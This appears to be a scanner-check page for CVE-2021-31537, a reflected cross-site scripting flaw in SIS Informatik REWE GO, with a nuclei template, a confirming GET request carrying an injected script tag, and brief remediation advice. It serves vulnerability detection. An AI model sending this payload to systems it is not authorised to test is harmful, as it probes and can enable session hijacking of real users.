SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages.

How to confirm it

Send: GET {{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707
Positive when: contains "<script>confirm({{randstr}})</script>" and "SIS-REWE" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2021-31537 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31537

info:
  name: SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
    - http://seclists.org/fulldisclosure/2021/May/20
    - https://sisinformatik.com/rewe-go/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31537
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31537
    cwe-id: CWE-79
    epss-score: 0.07421
    epss-percentile: 0.94493
    cpe: cpe:2.3:a:sisinformatik:sis-rewe_go:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sisinformatik
    product: sis-rewe_go
  tags: cve2021,cve,xss,seclists,intrusive,sisinformatik,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>confirm({{randstr}})</script>
          - SIS-REWE
        condition: and

      - type: word
        part: header
        words:
          - text/html

References

Use this check only on systems you are authorised to test. Where the data comes from